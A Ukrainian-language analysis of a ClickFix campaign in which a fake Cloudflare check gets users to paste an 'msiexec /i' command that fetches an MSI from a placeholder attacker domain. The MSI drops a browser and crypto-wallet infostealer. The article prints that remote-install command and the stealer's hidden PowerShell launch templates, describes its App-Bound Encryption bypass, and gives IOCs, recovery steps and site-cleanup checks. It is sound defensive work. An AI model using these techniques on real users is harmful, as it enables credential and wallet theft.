Вірус, який імітує перевірку особи від Cloudflare на сайтах - розбір атаки ClickFix

Вірус, який імітує перевірку особи від Cloudflare на сайтах - розбір атаки ClickFix

За останні тижні у мережі активно поширюється чергова хвиля атак типу ClickFix, у якій зловмисники маскують доставку шкідливого MSI-пакета під сторінку перевірки Cloudflare. Схема розрахована на копіювання візуальної довіри до бренду Cloudflare і на автоматизм користувача, який звик проходити CAPTCHA перед входом на сайт. Нижче — технічний розбір того, як саме працює ця атака, що робить фінальне навантаження і які сліди воно залишає на скомпрометованій системі.

Візуальна складова: підробка Cloudflare Challenge

Жертва потрапляє на сторінку, оформлену під Cloudflare Challenge: сірий фон, помаранчева хмаринка, чекбокс "Підтвердьте, що ви людина", згадка Ray ID знизу. Але з'являється модальне вікно з заголовком "Підтвердження особи" і оранжевим хедером з логотипом Cloudflare. Усередині — інструкція з трьох пунктів: натиснути й утримувати Windows + R, потім Ctrl + V під приводом того, що V означає verification, а на завершення — Enter для підтвердження.

Літера V у другому пункті подається як скорочення від verification, що робить інструкцію логічно зв'язною для непідготовленого користувача. Справжнє призначення послідовності інше: Win+R відкриває системне вікно "Виконати" у Windows, Ctrl+V вставляє в нього вміст буфера обміну, Enter запускає команду.

Механіка перехоплення буфера обміну

Вміст буфера підмінюється JavaScript-кодом на самій сторінці. Найпоширеніший варіант реалізації — виклик navigator.clipboard.writeText() у обробнику кліка по чекбоксу. Старіші реалізації використовували document.execCommand('copy') з прихованим <textarea>. Виклик відбувається у контексті синхронної події користувача, тому браузер не питає дозволу на запис у буфер обміну. Жертва бачить лише те, що клікнула по чекбоксу, і що з'явилась подальша інструкція.

Команда, яка потрапляє в буфер, у цій кампанії має форму:

msiexec /i https://<домен-зловмисника>/ukraine.msi ...

Структура MSI-дропера

Сам файл ukraine.msi має розмір приблизно 300 КБ і зібраний за допомогою фреймворку Python MSI Library. Це порожня оболонка, яка виконує три дії: копіює єдиний вкладений файл Cloud.exe (333 824 байти) у каталог %LocalAppData%\Programs\Internal Software\Installer\, автоматично його запускає через CustomAction типу 226 з таргетом [#PayloadFile1], і виставляє властивості ARPNOMODIFY=1 та ARPNOREPAIR=1, приховуючи кнопки "Змінити" й "Відновити" у списку встановлених програм. Ярлик з'являється у Start Menu за шляхом Programs → Internal Software → Installer, що виглядає нейтрально.

Жодної шкідливої логіки у самому MSI немає. Уся вона винесена в Cloud.exe. Такий поділ дає авторам гнучкість: за одним і тим самим URL можна щоденно оновлювати корисне навантаження, зберігаючи тіло дропера незмінним.

Що робить Cloud.exe

Це x64-виконуваний файл, зібраний GCC/MinGW — імпорт msvcrt.dll та секції .rdata$voltmd, .text$mn вказують саме на цей тулчейн. Timestamp у PE-заголовку — 2026-09-01 19:02:30 UTC, тобто зразок скомпільований буквально напередодні розсилки. Секція .text має ентропію 7.94 з 8 можливих — код запакований. У бінарнику присутня нестандартна секція .hdr розміром 87 КБ з розпакувальником-стабом, який використовує Vectored Exception Handlers і динамічне резолвання API через GetProcAddress. Конфігурація C2-сервера у відкритих рядках відсутня — вона розшифровується у пам'яті вже після запуску.

Функціональність зразка відповідає сучасному класу браузерних інфостілерів. За імпортами й дешифрованими рядками він робить наступне:

  • Читає файли профілів Chrome, Edge, Brave, Opera, Opera GX, Vivaldi. Витягує Login Data, Cookies, Web Data, IndexedDB і Local Extension Settings — збережені паролі, сесійні кукі, дані автозаповнення, номери банківських карток, стан браузерних розширень.
  • Обходить механізм App-Bound Encryption, який Google запровадив у Chrome 127 (липень 2024) саме для протидії таким крадіям. Зразок читає поле app_bound_encrypted_key з файлу Local State і працює з п'ятьма варіантами хешу: settings_encrypted_hash, super_encrypted_hash, developer_mode_encrypted_hash, opsettings_encrypted_hash та загальний _encrypted_hash.
  • Для старіших даних застосовує Windows DPAPI через CryptUnprotectData разом з ключами з реєстру SOFTWARE\Microsoft\Cryptography.
  • Перебирає каталоги криптогаманців: Exodus\exodus.wallet, Atomic Wallet з Local Storage\leveldb, Bitcoin\wallets, Litecoin\wallets, Electrum\wallets. З браузерних розширень цілиться у MetaMask і Trust Wallet.
  • Знімає фінгерпринт машини: ім'я комп'ютера (GetComputerNameW), користувача та SID (GetUserNameW, ConvertSidToStringSidW, LookupAccountNameW), об'єм пам'яті й диска, роздільну здатність, перелік запущених процесів через CreateToolhelp32Snapshot.
  • Комунікує з панеллю оператора через WinHTTP і WebSocket API (WinHttpWebSocketSend, WinHttpWebSocketReceive). Дані вивантажує multipart-запитом з полями bot_id, browser, profile, source, wallet_type, file. Автентифікація на панелі — через заголовок X-API-Key.
  • Здатний запускати додаткові навантаження. У бінарнику присутні готові шаблони команд cmd.exe /C, powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File і повторний виклик msiexec.exe /i /qn /norestart.

Захисний контур зразка розрахований на обхід EDR: виклик SetProcessMitigationPolicy посилює власний процес від інжекцій, SetThreadInformation ставить ThreadHideFromDebugger, обробники VEH ховають реальний control flow, імпорти резолвляться динамічно замість статичного IAT.

Ознак рансомварю (шифрування файлів жертви), кейлогінгу або зняття скріншотів у зразку не знайдено. Це "grab-and-go" стілер: одна проходка по системі, вивантаження ZIP-архіву на C2, слабка персистентність через ярлик у Start Menu.

Внутрішні маркери і сімейство

Зразок містить мʼютекс Local\guala-guard і модуль gualaUtils. У публічних CTI-звітах саме назва Guala поки не зафіксована як окреме сімейство. За набором технік — обхід App-Bound Encryption у стилі, описаному Elastic Security Labs у звіті "Katz and Mouse Game" (вересень 2024), multipart-протокол з полем wallet_type, WebSocket-канал і X-API-Key — зразок належить до покоління MaaS-стілерів, до якого входять LummaC2, StealC, Vidar, Rhadamanthys. Усі ці сімейства зараз активно поширюються саме через кампанії ClickFix.

Наслідки для скомпрометованого користувача

Скидання паролів після зараження не відновлює безпеку акаунтів. Стілер краде саме сесійні кукі, і цих кукі достатньо, щоб зайти в Google, Facebook, банкінг, крипто-біржу або пошту без пароля й без 2FA. Правильний порядок дій виглядає так: спочатку ізолювати заражену машину; потім з чистого пристрою зайти в кожен важливий акаунт і виконати примусовий вихід з усіх сесій (у Google це "Sign out of all devices" у налаштуваннях безпеки, у Facebook — "Log out of all sessions"). Після цього — зміна паролів і перегенерація application-specific passwords, API-токенів, збережених webhook-ів. Крипто-гаманці на цій машині слід вважати повністю скомпрометованими; seed-фрази потрібно вважати відомими зловмиснику.

Індикатори компрометації

На зараженій машині залишаються сталі файлові артефакти: виконуваний файл %LocalAppData%\Programs\Internal Software\Installer\Cloud.exe, ярлик у Start Menu за шляхом %AppData%\Microsoft\Windows\Start Menu\Programs\Internal Software\Installer\Installer.lnk, мʼютекс Local\guala-guard, а в реєстрі під HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall — запис з ProductCode {37960BA9-3ED3-4EF5-B13D-7090BFF1FA89} та UpgradeCode {16592F52-50F8-42DE-B262-F7C0DAD9EF03}.

Хеші конкретного зразка Cloud.exe: SHA-256 76bc8b9b71f28dac7b4accffbf869f680e9f2e891b5dfae42205158697b104b0, MD5 1f9b71890c4f2664fc6089159ec4541e. Сімейство щоденно ротує пакування, тому саме ці хеші швидко втратять актуальність — надійніше орієнтуватися на поведінкові сигнали.

Мережеві індикатори для SIEM: процес з %LocalAppData%\Programs\...\Cloud.exe встановлює WebSocket-з'єднання і надсилає multipart POST з полем wallet_type. Породжений процес msiexec.exe з аргументом-URL замість локального шляху до .msi — це поведінка, характерна саме для ClickFix і фактично не зустрічається у легітимних сценаріях встановлення програм.

Що перевірити власникам сайтів

Впровадження фейкового Cloudflare Challenge на живий сайт майже завжди відбувається через компрометацію CMS: інʼєкція JavaScript-сніпета у шаблони або у поля конфігурації, до яких має доступ адміністратор. Іноді вектором стає уразливе стороннє розширення, іноді — скомпрометований адмінський пароль. Для магазинів на OpenCart 3.x і 4.x перевірка включає такі кроки:

  • шаблони catalog/view/theme/*/template/common/header.twig і footer.twig на сторонні теги <script src="…"> з доменів, які ви свідомо не додавали
  • поле config_head та інші текстові поля таблиці oc_setting, куди адміни часто вставляють коди Google Tag Manager і подібні сніпети
  • таблицю oc_modification — інʼєкції через OCMOD, які підмінюють код фронтенду на льоту
  • недавно змінені файли у system/library/ та catalog/controller/common/header.php (find . -type f -mtime -30)
  • логи доступу до admin/ за останній місяць — POST-запити з незнайомих IP до common/filemanager або до редагування налаштувань магазину

Виявлену інʼєкцію потрібно видалити разом зі скиданням усіх адміністративних сесій, зміною паролів адмінів і аудитом списку встановлених розширень на предмет свіжих чи невідомих модифікацій.

Інші статті

Вірус Japanese SEO Hack: як виявити і позбутись від цього шкідливого скрипта
Вірус Japanese SEO Hack: як виявити і позбутись від цього шкідливого скрипта

Japanese SEO Hack — це добре організована бізнес-схема, яка побудована на шкідливих скриптах. Зловми..

Пакетне стискання зображень та видалення метаданих: Caesium та ExifTool
Пакетне стискання зображень та видалення метаданих: Caesium та ExifTool

Для більшості задач з веб-оптимізацією — Caesium простіший і наочніший: додав файли, вибрав якість, ..

Платформи для гест-постингу - 7 майданчиків для гостьових статей
Платформи для гест-постингу - 7 майданчиків для гостьових статей

Хочете публікувати свої авторські статті та не знаєте де? Існують спеціальні майданчики спеціально д..

Open Source ліцензії - в чому різниця між популярними безкоштовними ліцензіями
Open Source ліцензії - в чому різниця між популярними безкоштовними ліцензіями

Зробили огляд популярних open source ліцензій - MIT, Apache 2.0, GPL, LGPL, BSD, MPL. Порівняння, ві..

Коментарі

Написати коментар